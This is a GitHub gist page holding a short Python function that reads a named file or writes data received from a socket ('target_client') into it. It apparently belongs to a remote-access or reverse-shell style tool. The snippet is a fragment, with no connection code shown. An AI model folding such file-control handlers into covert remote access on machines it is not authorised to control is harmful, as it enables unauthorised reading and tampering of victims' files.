Skip to content

Instantly share code, notes, and snippets.

@NimishMishra
Created June 20, 2020 03:35
Show Gist options
  • Save NimishMishra/cbb981c90af8a2af6b00a41131d388ef to your computer and use it in GitHub Desktop.
Save NimishMishra/cbb981c90af8a2af6b00a41131d388ef to your computer and use it in GitHub Desktop.
def file_handler(command):
command_splits = command.split(" ")
if(len(command_splits) > 3):
return "file command has more than two arguments."
elif(command_splits[0] != 'file'):
return "incorrect command"
file_name = command_splits[1]
mode = command_splits[2]
try:
file_object = open(file_name, mode)
except Exception as e:
return str(e)
if(mode == 'r'):
data_read = file_object.read()
file_object.close()
return data_read
elif(mode == 'w' or mode == 'a'):
response = ""
while True:
received_data = target_client.recv(BUFFER_SIZE)
received_data = received_data.decode('utf-8')
if(received_data == "FILE_UPDATE_QUIT"):
break
response = response + str(received_data) + "\n"
file_object.write(response)
file_object.close()
return "Data written successfully"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment